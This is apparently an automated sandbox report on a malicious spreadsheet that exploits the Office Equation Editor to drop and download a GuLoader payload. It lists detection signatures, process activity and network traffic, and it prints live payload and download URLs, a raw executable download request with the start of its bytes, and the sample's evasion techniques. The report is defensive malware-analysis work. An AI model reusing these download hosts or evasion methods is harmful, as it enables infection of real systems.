Windows Analysis Report
listing new.xlsx

Overview

General Information

Sample Name: listing new.xlsx
Analysis ID: 557639
MD5: 4aae6390327810b9cb4055320ea85c31
SHA1: aec6f3bfebe0e92c2d9d16c2fc50e7ab06349a8a
SHA256: 7830f70d3c66ebdb8bcd854c46efd02c4689fd952f0f701029b14c2c37ee1bc0
Tags: VelvetSweatshopxlsx
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Yara detected GuLoader
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Execution from Suspicious Folder
Office equation editor drops PE file
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Drops PE files to the user root directory
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to dynamically determine API calls
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Abnormal high CPU Usage
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 00000004.00000002.678614834.0000000003750000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://dariamob.ro/wed/eee_XScUCMEVL"}
Multi AV Scanner detection for submitted file
Source: listing new.xlsx Virustotal: Detection: 37% Perma Link
Source: listing new.xlsx ReversingLabs: Detection: 34%
Antivirus detection for URL or domain
Source: http://50.16.4.125/E/raki.exe Avira URL Cloud: Label: malware

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C49
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406873 FindFirstFileW,FindClose, 4_2_00406873
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B

Software Vulnerabilities
barindex
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 50.16.4.125:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 50.16.4.125:80
Source: excel.exe Memory has grown: Private usage: 4MB later: 52MB

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://dariamob.ro/wed/eee_XScUCMEVL
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-AESUS AMAZON-AESUS
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 21 Jan 2022 11:37:30 GMTServer: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.0.14Last-Modified: Thu, 20 Jan 2022 12:11:37 GMTETag: "236f8-5d6026772cefd"Accept-Ranges: bytesContent-Length: 145144Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 d4 7d 02 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 c0 04 00 b0 0d 00 00 00 00 00 00 00 00 00 00 88 22 02 00 70 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 b0 0d 00 00 00 c0 04 00 00 0e 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /E/raki.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 50.16.4.125Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: unknown TCP traffic detected without corresponding DNS query: 50.16.4.125
Source: vbc.exe, 00000004.00000002.678201321.0000000003270000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000004.00000002.678201321.0000000003270000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: vbc.exe, 00000004.00000002.678201321.0000000003270000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: vbc.exe, 00000004.00000002.678391838.0000000003457000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: vbc.exe, 00000004.00000002.678391838.0000000003457000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, 00000004.00000002.676925104.000000000040A000.00000004.00020000.sdmp, vbc.exe, 00000004.00000000.463627479.000000000040A000.00000008.00020000.sdmp, vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: vbc.exe, 00000004.00000002.677115561.0000000001DB0000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.678391838.0000000003457000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: vbc.exe, 00000004.00000002.678391838.0000000003457000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: vbc.exe, 00000004.00000002.677115561.0000000001DB0000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: vbc.exe, 00000004.00000002.678201321.0000000003270000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: vbc.exe, 00000004.00000002.678391838.0000000003457000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: vbc.exe, 00000004.00000002.678201321.0000000003270000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: vbc.exe, 00000004.00000002.678201321.0000000003270000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: vbc.exe.2.dr, raki[1].exe.2.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CED38AF1.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /E/raki.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 50.16.4.125Connection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 4_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_004056DE

System Summary
barindex
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\raki[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040755C 4_2_0040755C
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406D85 4_2_00406D85
Source: C:\Users\Public\vbc.exe Code function: 4_2_729A1BFF 4_2_729A1BFF
Source: C:\Users\Public\vbc.exe Code function: 4_2_03755F78 4_2_03755F78
Source: C:\Users\Public\vbc.exe Code function: 4_2_03757148 4_2_03757148
Source: C:\Users\Public\vbc.exe Code function: 4_2_0375452E 4_2_0375452E
Source: C:\Users\Public\vbc.exe Code function: 4_2_0375490A 4_2_0375490A
Source: C:\Users\Public\vbc.exe Code function: 4_2_037541E4 4_2_037541E4
Source: C:\Users\Public\vbc.exe Code function: 4_2_037507E3 4_2_037507E3
Source: C:\Users\Public\vbc.exe Code function: 4_2_037551C4 4_2_037551C4
Source: C:\Users\Public\vbc.exe Code function: 4_2_03755DB5 4_2_03755DB5
Source: C:\Users\Public\vbc.exe Code function: 4_2_03754FBC 4_2_03754FBC
Source: C:\Users\Public\vbc.exe Code function: 4_2_0375599B 4_2_0375599B
Source: C:\Users\Public\vbc.exe Code function: 4_2_0375567B 4_2_0375567B
Source: C:\Users\Public\vbc.exe Code function: 4_2_03757A67 4_2_03757A67
Source: C:\Users\Public\vbc.exe Code function: 4_2_0375466B 4_2_0375466B
Source: C:\Users\Public\vbc.exe Code function: 4_2_03757652 4_2_03757652
Source: C:\Users\Public\vbc.exe Code function: 4_2_03755E4E 4_2_03755E4E
Source: C:\Users\Public\vbc.exe Code function: 4_2_03757E25 4_2_03757E25
Source: C:\Users\Public\vbc.exe Code function: 4_2_03756E15 4_2_03756E15
Source: C:\Users\Public\vbc.exe Code function: 4_2_037580D9 4_2_037580D9
Source: C:\Users\Public\vbc.exe Code function: 4_2_03756CCB 4_2_03756CCB
Source: C:\Users\Public\vbc.exe Code function: 4_2_0375629E 4_2_0375629E
Abnormal high CPU Usage
Source: C:\Users\Public\vbc.exe Process Stats: CPU usage > 98%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: listing new.xlsx Virustotal: Detection: 37%
Source: listing new.xlsx ReversingLabs: Detection: 34%
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$listing new.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE926.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSX@4/21@0/1
Source: C:\Users\Public\vbc.exe Code function: 4_2_004021AA CoCreateInstance, 4_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 4_2_0040498A
Source: vbc.exe, 00000004.00000002.678201321.0000000003270000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.678614834.0000000003750000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 4_2_729A30C0 push eax; ret 4_2_729A30EE
Source: C:\Users\Public\vbc.exe Code function: 4_2_03750353 push 92DC45CCh; ret 4_2_03750352
Source: C:\Users\Public\vbc.exe Code function: 4_2_03750542 pushad ; retf 4_2_03750546
Source: C:\Users\Public\vbc.exe Code function: 4_2_03752B48 push ebx; retf 4_2_03752B49
Source: C:\Users\Public\vbc.exe Code function: 4_2_03754115 push cs; ret 4_2_03754124
Source: C:\Users\Public\vbc.exe Code function: 4_2_03754115 push ebx; iretd 4_2_037541E3
Source: C:\Users\Public\vbc.exe Code function: 4_2_037541A1 push ebx; iretd 4_2_037541E3
Source: C:\Users\Public\vbc.exe Code function: 4_2_03750798 push esp; ret 4_2_037507AE
Source: C:\Users\Public\vbc.exe Code function: 4_2_03751986 push ebx; iretd 4_2_0375198B
Source: C:\Users\Public\vbc.exe Code function: 4_2_03753070 push 8175DDB0h; ret 4_2_03753076
Source: C:\Users\Public\vbc.exe Code function: 4_2_03754047 push ebp; iretd 4_2_03754053
Source: C:\Users\Public\vbc.exe Code function: 4_2_03753029 push ebx; ret 4_2_0375303D
Source: C:\Users\Public\vbc.exe Code function: 4_2_03750C10 pushfd ; retf 4_2_03750C11
Source: C:\Users\Public\vbc.exe Code function: 4_2_03750219 push 92DC45CCh; ret 4_2_03750352
Source: C:\Users\Public\vbc.exe Code function: 4_2_03752807 push esp; retf 4_2_03752810
Source: C:\Users\Public\vbc.exe Code function: 4_2_037502F7 push 92DC45CCh; ret 4_2_03750352
Source: C:\Users\Public\vbc.exe Code function: 4_2_037506D7 push edx; ret 4_2_037506D8
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 4_2_729A1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_729A1BFF

Persistence and Installation Behavior
barindex
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\raki[1].exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nsj734E.tmp\System.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
